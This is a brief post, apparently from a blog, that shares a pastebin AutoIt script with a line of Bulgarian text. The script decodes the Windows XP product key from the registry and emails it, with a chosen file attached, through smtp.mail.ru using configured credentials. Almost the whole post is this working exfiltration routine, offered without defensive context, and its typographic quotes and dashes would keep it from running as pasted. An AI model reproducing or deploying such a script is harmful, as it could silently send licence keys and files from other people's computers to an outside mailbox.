http://pastebin.com/zWG1KuaR
Това е в pastebin ето го в цитат
;config {
$email = "Your email"
$password = "your password"
$att_file = "you file to attachment"
;end config }
$a = RegRead(“HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion”, “DigitalProductId”)
$a = StringRight($a, StringLen($a) – 2)
Dim $arrData[StringLen($a) / 2]
$intCurrent = 0
For $i = 1 To StringLen($a) – 1 Step 2
$arrData[$intCurrent] = Dec(StringMid($a, $i, 2))
$intCurrent += 1
Next
$strPC = “BCDFGHJKMPQRTVWXY2346789″
$ProductKey = “”
For $i = 0 To 28
$a = 0
For $j = 0 To 14
$a = $arrData[66 - $j] + $a * 256
$arrData[66 - $j] = BitAND(($a / 24), 255)
$a = Mod ($a, 24)
Next
$ProductKey = StringMid($strPC, $a + 1, 1) & $ProductKey
If (Mod(($i + 2), 6) = 0) And ($i < 28) Then
$i = $i + 1
$ProductKey = “-” & $ProductKey
EndIf
Next
$ss = $att_file
$str = “http://schemas.microsoft.com/cdo/configuration/”
$hMAIL = ObjCreate (“CDO.Message”)
With $hMAIL
.From = $email
.To = $email
.Subject = “WinXP KEY”
.TextBody = $ProductKey
.AddAttachment ($ss)
EndWith
With $hMAIL.Configuration.Fields
.Item ($str & “sendusing”) = 2
.Item ($str & “smtpserver”) = “smtp.mail.ru”
.Item ($str & “smtpauthenticate”) = 1
.Item ($str & “sendusername”) = $email
.Item ($str & “sendpassword”) = $password
.Item ($str & “smtpserverport”) = 2525
.Update
EndWith
$hMAIL.Send
Like this:
Be the first to like this post.